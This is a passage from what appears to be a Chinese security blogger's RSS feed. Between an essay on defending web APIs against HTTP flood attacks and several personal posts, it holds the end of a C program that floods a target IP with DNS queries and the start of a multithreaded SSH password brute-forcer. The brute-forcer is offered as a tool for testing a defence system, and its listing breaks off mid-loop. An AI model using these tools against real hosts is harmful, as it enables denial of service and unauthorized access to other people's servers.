	<span style="color: #993333">int</span> end_time = <span style="color: #cc66cc">0</span>;
&nbsp;
        end_time=time<span style="color: #66cc66">(</span><span style="color: #000000; font-weight: bold">NULL</span><span style="color: #66cc66">)</span>;
&nbsp;
        <span style="color: #000066">printf</span><span style="color: #66cc66">(</span><span style="color: #ff0000">&quot;<span style="color: #000099; font-weight: bold">\n</span> -- statistics( %d ) -----------------------<span style="color: #000099; font-weight: bold">\n</span>&quot;</span>, signum<span style="color: #66cc66">)</span>;
        <span style="color: #000066">printf</span><span style="color: #66cc66">(</span><span style="color: #ff0000">&quot;   packets sent:          %d<span style="color: #000099; font-weight: bold">\n</span>&quot;</span>,outcount<span style="color: #66cc66">)</span>;
        <span style="color: #000066">printf</span><span style="color: #66cc66">(</span><span style="color: #ff0000">&quot;   seconds active:        %d<span style="color: #000099; font-weight: bold">\n</span>&quot;</span>,end_time - starttime<span style="color: #66cc66">)</span>;
        <span style="color: #000066">printf</span><span style="color: #66cc66">(</span><span style="color: #ff0000">&quot;   average packet/second: %d<span style="color: #000099; font-weight: bold">\n</span>&quot;</span>,outcount/<span style="color: #66cc66">(</span>end_time - starttime<span style="color: #66cc66">)</span><span style="color: #66cc66">)</span>;
        <span style="color: #000066">printf</span><span style="color: #66cc66">(</span><span style="color: #ff0000">&quot; -------------------------------------<span style="color: #000099; font-weight: bold">\n</span>&quot;</span><span style="color: #66cc66">)</span>;
&nbsp;
        exit<span style="color: #66cc66">(</span><span style="color: #cc66cc">1</span><span style="color: #66cc66">)</span>;
<span style="color: #66cc66">}</span>
&nbsp;
<span style="color: #993333">void</span> set_sig<span style="color: #66cc66">(</span> <span style="color: #66cc66">)</span>
<span style="color: #66cc66">{</span>
        signal<span style="color: #66cc66">(</span>SIGHUP,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGINT,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGQUIT,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGILL,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGABRT,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGFPE,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGSEGV,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGPIPE,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGALRM,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGTERM,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGUSR1,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGUSR2,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGCHLD,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGCONT,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGTSTP,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGTTIN,&amp;sig_proc<span style="color: #66cc66">)</span>;
        signal<span style="color: #66cc66">(</span>SIGTTOU,&amp;sig_proc<span style="color: #66cc66">)</span>;
<span style="color: #66cc66">}</span>
&nbsp;
<span style="color: #993333">int</span> main<span style="color: #66cc66">(</span><span style="color: #993333">int</span> argc,<span style="color: #993333">char</span> *argv<span style="color: #66cc66">[</span><span style="color: #66cc66">]</span><span style="color: #66cc66">)</span>
<span style="color: #66cc66">{</span>
    <span style="color: #993333">char</span>    dst_ip<span style="color: #66cc66">[</span><span style="color: #cc66cc">20</span><span style="color: #66cc66">]</span> = <span style="color: #66cc66">{</span> <span style="color: #cc66cc">0</span> <span style="color: #66cc66">}</span>;
    <span style="color: #993333">char</span>    base_name<span style="color: #66cc66">[</span><span style="color: #cc66cc">65</span><span style="color: #66cc66">]</span> = <span style="color: #66cc66">{</span> <span style="color: #cc66cc">0</span> <span style="color: #66cc66">}</span>;
&nbsp;
    <span style="color: #b1b100">if</span><span style="color: #66cc66">(</span> argc != <span style="color: #cc66cc">5</span> <span style="color: #66cc66">)</span>
    <span style="color: #66cc66">{</span>
        fprintf<span style="color: #66cc66">(</span>stderr,<span style="color: #ff0000">&quot;<span style="color: #000099; font-weight: bold">\n</span>%s &lt;target ip&gt; &lt;base_name&gt; &lt;pkt_then_sleep&gt; &lt;sleep_time&gt;<span style="color: #000099; font-weight: bold">\n</span>&quot;</span>, argv<span style="color: #66cc66">[</span><span style="color: #cc66cc">0</span><span style="color: #66cc66">]</span><span style="color: #66cc66">)</span>;
        fprintf<span style="color: #66cc66">(</span>stderr, <span style="color: #ff0000">&quot;send dns query to &lt;target ip&gt;, sleep &lt;sleep_time&gt; microseconds per &lt;pkt_then_sleep&gt; paskets.<span style="color: #000099; font-weight: bold">\n</span>please set base_name like '.baidu.com'<span style="color: #000099; font-weight: bold">\n</span><span style="color: #000099; font-weight: bold">\n</span>&quot;</span><span style="color: #66cc66">)</span>;
        <span style="color: #b1b100">return</span> <span style="color: #cc66cc">-1</span>;
    <span style="color: #66cc66">}</span>
&nbsp;
    strncpy<span style="color: #66cc66">(</span> dst_ip, argv<span style="color: #66cc66">[</span><span style="color: #cc66cc">1</span><span style="color: #66cc66">]</span>, <span style="color: #cc66cc">16</span> <span style="color: #66cc66">)</span>;
    strncpy<span style="color: #66cc66">(</span> base_name,  argv<span style="color: #66cc66">[</span><span style="color: #cc66cc">2</span><span style="color: #66cc66">]</span>, <span style="color: #cc66cc">64</span> <span style="color: #66cc66">)</span>;
&nbsp;
    <span style="color: #b1b100">if</span><span style="color: #66cc66">(</span> inet_addr<span style="color: #66cc66">(</span>dst_ip<span style="color: #66cc66">)</span> == INADDR_NONE <span style="color: #66cc66">)</span>
    <span style="color: #66cc66">{</span>      
        <span style="color: #000066">printf</span><span style="color: #66cc66">(</span> <span style="color: #ff0000">&quot;target ip error.<span style="color: #000099; font-weight: bold">\n</span>&quot;</span> <span style="color: #66cc66">)</span>;
        <span style="color: #b1b100">return</span> <span style="color: #cc66cc">-1</span>;
    <span style="color: #66cc66">}</span>
&nbsp;
	pkt_then_sleep = atoi<span style="color: #66cc66">(</span>argv<span style="color: #66cc66">[</span><span style="color: #cc66cc">3</span><span style="color: #66cc66">]</span><span style="color: #66cc66">)</span>;
	<span style="color: #b1b100">if</span><span style="color: #66cc66">(</span> pkt_then_sleep == <span style="color: #cc66cc">0</span> <span style="color: #66cc66">)</span>
	<span style="color: #66cc66">{</span>
		<span style="color: #000066">printf</span><span style="color: #66cc66">(</span> <span style="color: #ff0000">&quot;pkt_then_sleep error.<span style="color: #000099; font-weight: bold">\n</span>&quot;</span> <span style="color: #66cc66">)</span>;
		<span style="color: #b1b100">return</span> <span style="color: #cc66cc">-1</span>;
	<span style="color: #66cc66">}</span>
&nbsp;
    sleeptime = atoi<span style="color: #66cc66">(</span>argv<span style="color: #66cc66">[</span><span style="color: #cc66cc">4</span><span style="color: #66cc66">]</span><span style="color: #66cc66">)</span>;
&nbsp;
    starttime = time<span style="color: #66cc66">(</span><span style="color: #000000; font-weight: bold">NULL</span><span style="color: #66cc66">)</span>;
    <span style="color: #b1b100">while</span><span style="color: #66cc66">(</span>time<span style="color: #66cc66">(</span><span style="color: #000000; font-weight: bold">NULL</span><span style="color: #66cc66">)</span> == starttime<span style="color: #66cc66">)</span> usleep<span style="color: #66cc66">(</span><span style="color: #cc66cc">1000</span><span style="color: #66cc66">)</span>;
&nbsp;
	srand<span style="color: #66cc66">(</span><span style="color: #66cc66">(</span><span style="color: #993333">unsigned</span><span style="color: #66cc66">)</span> time<span style="color: #66cc66">(</span><span style="color: #000000; font-weight: bold">NULL</span><span style="color: #66cc66">)</span><span style="color: #66cc66">)</span>;
&nbsp;
    set_sig<span style="color: #66cc66">(</span> <span style="color: #66cc66">)</span>;
    Flood<span style="color: #66cc66">(</span> dst_ip, base_name <span style="color: #66cc66">)</span>;
&nbsp;
    <span style="color: #b1b100">return</span> <span style="color: #cc66cc">0</span>;
<span style="color: #66cc66">}</span>
</pre>
				]]>
			</description>
			<pubDate>Sun, 29 Apr 2012 20:58:56 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[WEB API如何防御CC攻击]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=831</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=831</guid>
			<description>
				<![CDATA[
<p>我只是把问题写在这儿，而不是写答案。最近一段时间我观察到CC攻击有一些变化，从攻击动态页面变成攻击WEB API。理由应该是很简单的。</p>
<p>首先是WEB API的大规模使用。不管是微博，还是网盘、图库、云存储，不开放一些WEB API出来给开发者调用，都不好意思跟别人打招呼。更何况比较大的互联网企业如腾讯、百度、阿里，都想学苹果做平台，天天说开放，想把开发者捆在自己身上加重自己的份量。一般来说开发者都比较容易激动，现实中可能沉闷但是在网上尤其活跃，出一点问题就会微博上四处转播宣扬，所以攻击WEB API惹到他们无疑是一个很好的想法。</p>
<p>其次在技术层面，对WEB API的CC攻击防御困难得多。在前WEB API时代，攻击目标只能是动态页面。由于攻击者是使用普通的攻击程序而正常使用者使用浏览器访问页面，一个不解析JS一个解析JS，一个不follow跳转一个follow跳转，正常用户和攻击者的区别是非常明显的，因此各地设备厂商都不约而同使用类似的方案，返回JS做客户端跳转啦，验证码啦，302重定向啦之类方式做人机识别。但是现在，问题来了。正常用户可能也是通过程序调用WEB API的方式来访问业务，攻击者和正常用户都是使用程序而不是浏览器访问，以前那些人机识别的方案已经行不通了，强上只能是大量的误报。</p>
<p>如何解决？嘿嘿。</p>
				]]>
			</description>
			<pubDate>Tue, 24 Apr 2012 10:42:02 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[春天了啊]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=830</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=830</guid>
			<description>
				<![CDATA[
<p>小区的映山红开得不错，不过就那么一小片。我老家的山上，想必已经漫山遍野了吧，真真正正的映山红。</p>
<p>现在这个季节是老家最好的时候，各种花都开了，蜜蜂蝴蝶乱飞，野菜、类似草莓的野果也都出来了。这个季节最好的野菜，莫过于这四种：水竹笋、松乳菇、蕨菜以及小蒜。水竹笋就长在屋子旁边，早上起来走两步就看到带着水珠的细细尖尖的孙，抽一大把回家一洗一剥，简单炒炒吃稀饭就是无上的美味，何须调料？何况还有田边的小蒜，和鸡蛋煎在一起，那个香味永远都忘不掉。两碗粥，一盘笋，一盘小蒜煎蛋，有比这更好的早点么？松乳菇就需要煮面条或者做汤了，油都不需要，拿清水煮，放点盐即可，出锅之后就是满屋的鲜味，绝不是鸡精之类可以比拟的。</p>
<p>可惜永无机会在这个季节回到老家。</p>
				]]>
			</description>
			<pubDate>Wed, 18 Apr 2012 15:29:42 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[奶奶去世]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=829</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=829</guid>
			<description>
				<![CDATA[
<p>&nbsp;2月24日晚上10点30分，奶奶去世，享年86岁。</p>
<p>我弟弟0点从张家港开车出发，25日凌晨3点到杭州我住处。随后开我的车回湖北。黄山、景德镇、九江一路走过来，暴风暴雨，很是辛苦，也比较危险。叔叔伯伯、堂哥堂弟也各自驾车连夜赶回，最远的是五弟从四川奔波1200公里赶回。虽然明知每个人都有这么一天，却也免不了伤心。可惜免不了伤心，却也逃不过这一天。</p>
<p>我至少有10年没有在这个季节回过农村老家了，每年都是春节待上2-3天。所以这次，特地到处走了一下，很多地方变了，也有很多地方依旧。我亲手种下的树，已经只有一棵还存在。</p>
				]]>
			</description>
			<pubDate>Fri, 02 Mar 2012 14:40:51 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[imagegif: Unable to open temporary file的解决办法]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=828</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=828</guid>
			<description>
				<![CDATA[
<p>在<a href="http://www.icylife.net/yunshu/show.php?id=827">godaddy发生了悲剧</a>，于是把博客搬回了国内的空间。结果在windows系统上，验证码出不来，报imagegif: Unable to open temporary file错误。试了一下，把imagegif改成imagepng就可以了。不过不知道为什么，比较诡异。</p>
				]]>
			</description>
			<pubDate>Thu, 02 Feb 2012 12:02:43 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[悲剧发生了]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=827</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=827</guid>
			<description>
				<![CDATA[
<p>过年一直呆在湖北老家，回杭州后发现把博客过没了。godaddy那边忘记续费，他们删除了我的数据，从上传的图片到数据库的所有内容。等我看看本地的备份，立马要哭了，最新的备份是2011年7月7号的。懒引发的血案啊。</p>
<p>还好有google reader，可以把丢失期间的博客重新写出来，遗憾的是评论中的讨论永远消失了。这个周末写备份脚本，每天一次！另外，我的宝宝马上半岁了，她的博客也可以发布出来了。<a target="_blank" href="http://baby.icylife.net">http://baby.icylife.net</a>，我会一直写到她自己会写为止。</p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:14:32 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[扫描ssh密码]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=826</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=826</guid>
			<description>
				<![CDATA[
<p>&nbsp;<span style="font-family: arial, sans-serif; font-size: 14px; ">很久以前有个人给了我一本小书名字是《heroes in my heart》，其中有一段是讲数学希尔伯特的。&ldquo;一次在 Hilbert 的讨论班上，一个年轻人报告，其中用了一个很漂亮的定理，Hilbert 说：&lsquo;这真是一个妙不可言（wunderbaschon）的定理呀，是谁发现的？&rsquo;那个年轻人茫然的站了很久，对 Hilbert 说：&lsquo;是你&hellip;&hellip;&rsquo;&rdquo;</span></p>
<p style="font-family: arial, sans-serif; font-size: 14px; ">不是很久之前，我测试一个自动防御系统，需要进行ssh密码扫描。试了medusa和ncrack，悲剧的是在我的环境下都不够稳定。无意中发现坐对面的同事在用一个小巧的程序做测试，跑得还行，于是我说不错啊，这程序哪儿搞的。他看了一下代码，说&rdquo;你写的&ldquo;，于是我让他把代码发给我。最近一段时间一直没有更新博客，不是没有写的，而是可写的太多反而不知道写什么好，而且有些东西也不方便写出来。干脆贴一个老代码，滥竽充数吧。</p>
<p style="font-family: arial, sans-serif; font-size: 14px; ">&nbsp;</p>
<pre><span style="color: rgb(128, 128, 128); font-style: italic; ">/*  it's not a cracker, but scanner.<br />version 0.1, code by yunshu(wustyunshu@hotmail.com) 2010-09-08<br />you should install botan and net7ssh first, complie with &quot;gcc sshscan.cpp -lnet7ssh -lbotan -o sshscan&quot;<br />be sure the ssh port is open, it will not detect service when it is scanning.  */</span>
&nbsp;
<span style="color: rgb(51, 153, 51); ">#include &lt;stdio.h&gt;</span>
<span style="color: rgb(51, 153, 51); ">#include &lt;sys/wait.h&gt;</span>
<span style="color: rgb(51, 153, 51); ">#include &lt;stdlib.h&gt;</span>
<span style="color: rgb(51, 153, 51); ">#include &lt;pthread.h&gt;</span>
<span style="color: rgb(51, 153, 51); ">#include &lt;ne7ssh.h&gt;</span>
&nbsp;
<span style="color: rgb(51, 153, 51); ">#define	MAX_HOST	10</span>
<span style="color: rgb(51, 153, 51); ">#define	MAX_CONNECTION	5	</span>
<span style="color: rgb(51, 153, 51); ">#define	USER_NAME	&quot;%USERNAME%&quot;</span>
&nbsp;
<span style="color: rgb(153, 51, 51); ">typedef</span> <span style="color: rgb(153, 51, 51); ">struct</span>
<span style="color: rgb(102, 204, 102); ">{</span>
	<span style="color: rgb(153, 51, 51); ">char</span> target<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">512</span><span style="color: rgb(102, 204, 102); ">]</span>;
	<span style="color: rgb(153, 51, 51); ">int</span>  cracked;
	FILE *user_fd;
	<span style="color: rgb(153, 51, 51); ">char</span> pwd_file<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">512</span><span style="color: rgb(102, 204, 102); ">]</span>;
	pthread_mutex_t mutex;
<span style="color: rgb(102, 204, 102); ">}</span>ScanArgument;
&nbsp;
ne7ssh *ssh;
&nbsp;
<span style="color: rgb(153, 51, 51); ">void</span> Usage<span style="color: rgb(102, 204, 102); ">(</span> <span style="color: rgb(153, 51, 51); ">char</span> *str <span style="color: rgb(102, 204, 102); ">)</span>
<span style="color: rgb(102, 204, 102); ">{</span>
	<span style="color: rgb(0, 0, 102); ">printf</span><span style="color: rgb(102, 204, 102); ">(</span> <span style="color: rgb(255, 0, 0); ">&quot;%s  &lt;ip_list&gt;  &lt;user_list&gt;  &lt;pwd_list&gt;<span style="color: rgb(0, 0, 153); font-weight: bold; ">\n</span>&quot;</span>, str <span style="color: rgb(102, 204, 102); ">)</span>;
<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
<span style="color: rgb(128, 128, 128); font-style: italic; ">// copy from internet</span>
<span style="color: rgb(153, 51, 51); ">char</span> *
StringReplace<span style="color: rgb(102, 204, 102); ">(</span><span style="color: rgb(153, 51, 51); ">char</span> *str, <span style="color: rgb(153, 51, 51); ">char</span> *old, <span style="color: rgb(153, 51, 51); ">char</span> *new_str<span style="color: rgb(102, 204, 102); ">)</span> <span style="color: rgb(102, 204, 102); ">{</span>
	  <span style="color: rgb(153, 51, 51); ">int</span> i, count = <span style="color: rgb(204, 102, 204); ">0</span>;
	    <span style="color: rgb(153, 51, 51); ">int</span> newlen = strlen<span style="color: rgb(102, 204, 102); ">(</span>new_str<span style="color: rgb(102, 204, 102); ">)</span>;
		  <span style="color: rgb(153, 51, 51); ">int</span> oldlen = strlen<span style="color: rgb(102, 204, 102); ">(</span>old<span style="color: rgb(102, 204, 102); ">)</span>;
&nbsp;
		    <span style="color: rgb(177, 177, 0); ">for</span> <span style="color: rgb(102, 204, 102); ">(</span>i = <span style="color: rgb(204, 102, 204); ">0</span>; str<span style="color: rgb(102, 204, 102); ">[</span>i<span style="color: rgb(102, 204, 102); ">]</span>; ++i<span style="color: rgb(102, 204, 102); ">)</span>
				    <span style="color: rgb(177, 177, 0); ">if</span> <span style="color: rgb(102, 204, 102); ">(</span>strstr<span style="color: rgb(102, 204, 102); ">(</span>&amp;str<span style="color: rgb(102, 204, 102); ">[</span>i<span style="color: rgb(102, 204, 102); ">]</span>, old<span style="color: rgb(102, 204, 102); ">)</span> == &amp;str<span style="color: rgb(102, 204, 102); ">[</span>i<span style="color: rgb(102, 204, 102); ">]</span><span style="color: rgb(102, 204, 102); ">)</span>
						      ++count, i += oldlen - <span style="color: rgb(204, 102, 204); ">1</span>;
&nbsp;
			  <span style="color: rgb(153, 51, 51); ">char</span> *ret = <span style="color: rgb(102, 204, 102); ">(</span><span style="color: rgb(153, 51, 51); ">char</span> *<span style="color: rgb(102, 204, 102); ">)</span> calloc<span style="color: rgb(102, 204, 102); ">(</span>i + <span style="color: rgb(204, 102, 204); ">1</span> + count * <span style="color: rgb(102, 204, 102); ">(</span>newlen - oldlen<span style="color: rgb(102, 204, 102); ">)</span>, <span style="color: rgb(153, 51, 51); ">sizeof</span><span style="color: rgb(102, 204, 102); ">(</span><span style="color: rgb(153, 51, 51); ">char</span><span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(102, 204, 102); ">)</span>;
			    <span style="color: rgb(177, 177, 0); ">if</span> <span style="color: rgb(102, 204, 102); ">(</span>!ret<span style="color: rgb(102, 204, 102); ">)</span> <span style="color: rgb(177, 177, 0); ">return</span> <span style="font-weight: bold; ">NULL</span>;
&nbsp;
				  i = <span style="color: rgb(204, 102, 204); ">0</span>;
				    <span style="color: rgb(177, 177, 0); ">while</span> <span style="color: rgb(102, 204, 102); ">(</span>*str<span style="color: rgb(102, 204, 102); ">)</span>
						    <span style="color: rgb(177, 177, 0); ">if</span> <span style="color: rgb(102, 204, 102); ">(</span>strstr<span style="color: rgb(102, 204, 102); ">(</span>str, old<span style="color: rgb(102, 204, 102); ">)</span> == str<span style="color: rgb(102, 204, 102); ">)</span>
								      strcpy<span style="color: rgb(102, 204, 102); ">(</span>&amp;ret<span style="color: rgb(102, 204, 102); ">[</span>i<span style="color: rgb(102, 204, 102); ">]</span>, new_str<span style="color: rgb(102, 204, 102); ">)</span>,
										        i += newlen,
												      str += oldlen;
					    <span style="color: rgb(177, 177, 0); ">else</span>
							      ret<span style="color: rgb(102, 204, 102); ">[</span>i++<span style="color: rgb(102, 204, 102); ">]</span> = *str++;
&nbsp;
					  ret<span style="color: rgb(102, 204, 102); ">[</span>i<span style="color: rgb(102, 204, 102); ">]</span> = <span style="color: rgb(255, 0, 0); ">' <span style="color: rgb(0, 0, 153); font-weight: bold; ">\\0 </span>'</span>;
&nbsp;
					    <span style="color: rgb(177, 177, 0); ">return</span> ret;
<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
<span style="color: rgb(153, 51, 51); ">void</span> *CrackPwd<span style="color: rgb(102, 204, 102); ">(</span> <span style="color: rgb(153, 51, 51); ">void</span> *_arg <span style="color: rgb(102, 204, 102); ">)</span>
<span style="color: rgb(102, 204, 102); ">{</span>
	ScanArgument *arg = <span style="color: rgb(102, 204, 102); ">(</span>ScanArgument *<span style="color: rgb(102, 204, 102); ">)</span>_arg;
	<span style="color: rgb(153, 51, 51); ">char</span> user<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">256</span><span style="color: rgb(102, 204, 102); ">]</span> = <span style="color: rgb(102, 204, 102); ">{</span> <span style="color: rgb(204, 102, 204); ">0</span> <span style="color: rgb(102, 204, 102); ">}</span>;
	<span style="color: rgb(153, 51, 51); ">char</span> tmp<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">256</span><span style="color: rgb(102, 204, 102); ">]</span> = <span style="color: rgb(102, 204, 102); ">{</span> <span style="color: rgb(204, 102, 204); ">0</span> <span style="color: rgb(102, 204, 102); ">}</span>;
	<span style="color: rgb(153, 51, 51); ">char</span> pwd<span style="color: rgb(102, 204, 102); ">[</span><span style="color: rgb(204, 102, 204); ">256</span><span style="color: rgb(102, 204, 102); ">]</span> = <span style="color: rgb(102, 204, 102); ">{</span> <span style="color: rgb(204, 102, 204); ">0</span> <span style="color: rgb(102, 204, 102); ">}</span>;
	<span style="color: rgb(153, 51, 51); ">int</span> cracked = <span style="color: rgb(204, 102, 204); ">0</span>;
&nbsp;
	FILE *pwd_fd = fopen<span style="color: rgb(102, 204, 102); ">(</span>arg-&gt;pwd_file, <span style="color: rgb(255, 0, 0); ">&quot;r&quot;</span><span style="color: rgb(102, 204, 102); ">)</span>;
&nbsp;
	<span style="color: rgb(177, 177, 0); ">while</span><span style="color: rgb(102, 204, 102); ">(</span> <span style="color: rgb(204, 102, 204); ">1</span> <span style="color: rgb(102, 204, 102); ">)</span>
	<span style="color: rgb(102, 204, 102); ">{</span>
		<span style="color: rgb(128, 128, 128); font-style: italic; ">// all users done, this thread will exit.</span>
		pthread_mutex_lock<span style="color: rgb(102, 204, 102); ">(</span> &amp;arg-&gt;mutex <span style="color: rgb(102, 204, 102); ">)</span>;
		<span style="color: rgb(177, 177, 0); ">if</span><span style="color: rgb(102, 204, 102); ">(</span> feof<span style="color: rgb(102, 204, 102); ">(</span>arg-&gt;user_fd<span style="color: rgb(102, 204, 102); ">)</span> <span style="color: rgb(102, 204, 102); ">)</span>
		<span style="color: rgb(102, 204, 102); ">{</span>
			pthread_mutex_unlock<span style="color: rgb(102, 204, 102); ">(</span> &amp;arg-&gt;mutex <span style="color: rgb(102, 204, 102); ">)</span>;
			<span style="font-weight: bold; ">break</span>;
		<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
		<span style="color: rgb(128, 128, 128); font-style: italic; ">// read username</span>
		memset<span style="color: rgb(102, 204, 102); ">(</span> user, <span style="color: rgb(204, 102, 204); ">0</span>, <span style="color: rgb(153, 51, 51); ">sizeof</span><span style="color: rgb(102, 204, 102); ">(</span>user<span style="color: rgb(102, 204, 102); ">)</span> <span style="color: rgb(102, 204, 102); ">)</span>;
		fgets<span style="color: rgb(102, 204, 102); ">(</span> user, <span style="color: rgb(153, 51, 51); ">sizeof</span><span style="color: rgb(102, 204, 102); ">(</span>user<span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span>, arg-&gt;user_fd <span style="color: rgb(102, 204, 102); ">)</span>;
&nbsp;
		cracked = <span style="color: rgb(204, 102, 204); ">0</span>;
&nbsp;
		pthread_mutex_unlock<span style="color: rgb(102, 204, 102); ">(</span> &amp;arg-&gt;mutex <span style="color: rgb(102, 204, 102); ">)</span>;
&nbsp;
		<span style="color: rgb(128, 128, 128); font-style: italic; ">// skip blank line</span>
		<span style="color: rgb(177, 177, 0); ">while</span><span style="color: rgb(102, 204, 102); ">(</span> user<span style="color: rgb(102, 204, 102); ">[</span>strlen<span style="color: rgb(102, 204, 102); ">(</span>user<span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span><span style="color: rgb(102, 204, 102); ">]</span> == <span style="color: rgb(255, 0, 0); ">'<span style="color: rgb(0, 0, 153); font-weight: bold; ">\r</span>'</span> || user<span style="color: rgb(102, 204, 102); ">[</span>strlen<span style="color: rgb(102, 204, 102); ">(</span>user<span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span><span style="color: rgb(102, 204, 102); ">]</span> == <span style="color: rgb(255, 0, 0); ">'<span style="color: rgb(0, 0, 153); font-weight: bold; ">\n</span>'</span> <span style="color: rgb(102, 204, 102); ">)</span>
		<span style="color: rgb(102, 204, 102); ">{</span>
			user<span style="color: rgb(102, 204, 102); ">[</span>strlen<span style="color: rgb(102, 204, 102); ">(</span>user<span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span><span style="color: rgb(102, 204, 102); ">]</span> = <span style="color: rgb(255, 0, 0); ">' <span style="color: rgb(0, 0, 153); font-weight: bold; ">\\0 </span>'</span>;
		<span style="color: rgb(102, 204, 102); ">}</span>
		<span style="color: rgb(177, 177, 0); ">if</span><span style="color: rgb(102, 204, 102); ">(</span> strlen<span style="color: rgb(102, 204, 102); ">(</span>user<span style="color: rgb(102, 204, 102); ">)</span> &lt; <span style="color: rgb(204, 102, 204); ">1</span> <span style="color: rgb(102, 204, 102); ">)</span>
		<span style="color: rgb(102, 204, 102); ">{</span>
			<span style="color: rgb(177, 177, 0); ">continue</span>;
		<span style="color: rgb(102, 204, 102); ">}</span>
		<span style="color: rgb(128, 128, 128); font-style: italic; ">//printf(&quot;test username:%s\n&quot;, user);</span>
&nbsp;
		<span style="color: rgb(128, 128, 128); font-style: italic; ">//rewind(pwd_fd);</span>
		<span style="color: rgb(177, 177, 0); ">while</span><span style="color: rgb(102, 204, 102); ">(</span> !feof<span style="color: rgb(102, 204, 102); ">(</span>pwd_fd<span style="color: rgb(102, 204, 102); ">)</span> <span style="color: rgb(102, 204, 102); ">)</span>
		<span style="color: rgb(102, 204, 102); ">{</span>
			<span style="color: rgb(177, 177, 0); ">if</span><span style="color: rgb(102, 204, 102); ">(</span> cracked == <span style="color: rgb(204, 102, 204); ">1</span> <span style="color: rgb(102, 204, 102); ">)</span>
			<span style="color: rgb(102, 204, 102); ">{</span>
				<span style="color: rgb(128, 128, 128); font-style: italic; ">//printf( &quot;[found], try next user name.\n&quot; );</span>
				<span style="font-weight: bold; ">break</span>;
			<span style="color: rgb(102, 204, 102); ">}</span>
&nbsp;
			memset<span style="color: rgb(102, 204, 102); ">(</span> tmp, <span style="color: rgb(204, 102, 204); ">0</span>, <span style="color: rgb(153, 51, 51); ">sizeof</span><span style="color: rgb(102, 204, 102); ">(</span>tmp<span style="color: rgb(102, 204, 102); ">)</span> <span style="color: rgb(102, 204, 102); ">)</span>;
			fgets<span style="color: rgb(102, 204, 102); ">(</span> tmp, <span style="color: rgb(153, 51, 51); ">sizeof</span><span style="color: rgb(102, 204, 102); ">(</span>tmp<span style="color: rgb(102, 204, 102); ">)</span><span style="color: rgb(204, 102, 204); ">-1</span>, pwd_fd <span style="color: rgb(102, 204, 102); ">)</span>;
			<span style="color: rgb(128, 128, 128); font-style: italic; ">//printf(&quot;test tmp:%s\n&quot;, tmp);</span>
&nbsp;
